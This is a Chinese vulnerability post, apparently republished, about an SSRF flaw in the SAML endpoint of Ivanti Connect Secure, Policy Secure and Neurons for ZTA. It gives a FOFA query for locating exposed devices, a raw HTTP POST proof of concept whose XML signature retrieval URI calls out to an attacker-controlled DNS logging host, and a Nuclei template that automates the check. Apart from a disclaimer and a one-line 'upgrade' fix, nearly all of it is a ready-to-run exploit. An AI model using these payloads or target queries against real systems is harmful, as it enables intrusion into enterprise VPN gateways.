科技公司网站网页,企业管理系统开源,推客平台,网站编辑工具免责声明#xff1a;文章来源互联网收集整理#xff0c;请勿利用文章内的相关技术从事非法测试#xff0c;由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失#xff0c;均由使用者本人负责#xff0c;所产生的一切不良后果与文章作者无关。该…免责声明文章来源互联网收集整理请勿利用文章内的相关技术从事非法测试由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失均由使用者本人负责所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
Ⅰ、漏洞描述
Ivanti Connect Secure 为远程和移动用户提供了一个无缝的、具有成本效益的 SSL VPN 解决方案使他们能随时随地从任何可上网的设备访问企业资源。
Ivanti Connect Secure9.x22.x和Ivanti Policy Secure9.x,22.x以及Ivanti Neurons for ZTA的SAML组件中存在SSRF漏洞。 Ⅱ、fofa语句
bodywelcome.cgi?plogo
Ⅲ、漏洞复现
POC
POST /dana-ws/saml20.ws HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Connection: close
Content-Length: 831
Accept-Encoding: gzip?xml version1.0 encodingUTF-8?soap:Envelope xmlns:soaphttp://schemas.xmlsoap.org/soap/envelope/ soap:Body ds:Signature xmlns:dshttp://www.w3.org/2000/09/xmldsig# ds:SignedInfo ds:CanonicalizationMethod Algorithmhttp://www.w3.org/2001/10/xml-exc-c14n#/ ds:SignatureMethod Algorithmhttp://www.w3.org/2000/09/xmldsig#rsa-sha1/ /ds:SignedInfo ds:SignatureValueqwerty/ds:SignatureValue ds:KeyInfo xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://www.w3.org/2000/09/xmldsig xmlns:dshttp://www.w3.org/2000/09/xmldsig# ds:RetrievalMethod URIhttp://your-dns/ ds:X509Data/ /ds:KeyInfo ds:Object/ds:Object /ds:Signature /soap:Body/soap:Envelope
1、构建poc 2、查看DNSlog记录 Ⅳ、Nuclei-POC
id: Ivanti-Pulse-Connect-Secure-VPN-SSRFinfo:name: Ivanti Connect Secure9.x22.x和Ivanti Policy Secure9.x,22.x以及Ivanti Neurons for ZTA的SAML组件中存在SSRF漏洞。author: WLFseverity: highmetadata: fofa-query: bodywelcome.cgi?plogo
variables:filename: {{to_lower(rand_base(10))}}boundary: {{to_lower(rand_base(20))}}
http:- raw:- |POST /dana-ws/saml20.ws HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0Connection: closeContent-Length: 831Accept-Encoding: gzip?xml version1.0 encodingUTF-8?soap:Envelope xmlns:soaphttp://schemas.xmlsoap.org/soap/envelope/ soap:Body ds:Signature xmlns:dshttp://www.w3.org/2000/09/xmldsig# ds:SignedInfo ds:CanonicalizationMethod Algorithmhttp://www.w3.org/2001/10/xml-exc-c14n#/ ds:SignatureMethod Algorithmhttp://www.w3.org/2000/09/xmldsig#rsa-sha1/ /ds:SignedInfo ds:SignatureValueqwerty/ds:SignatureValue ds:KeyInfo xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://www.w3.org/2000/09/xmldsig xmlns:dshttp://www.w3.org/2000/09/xmldsig# ds:RetrievalMethod URIhttp://{{interactsh-url}}/ ds:X509Data/ /ds:KeyInfo ds:Object/ds:Object /ds:Signature /soap:Body/soap:Envelopematchers:- type: dsldsl:- contains(interactsh_protocol, dns)condition: and Ⅴ、修复建议
升级至安全版本
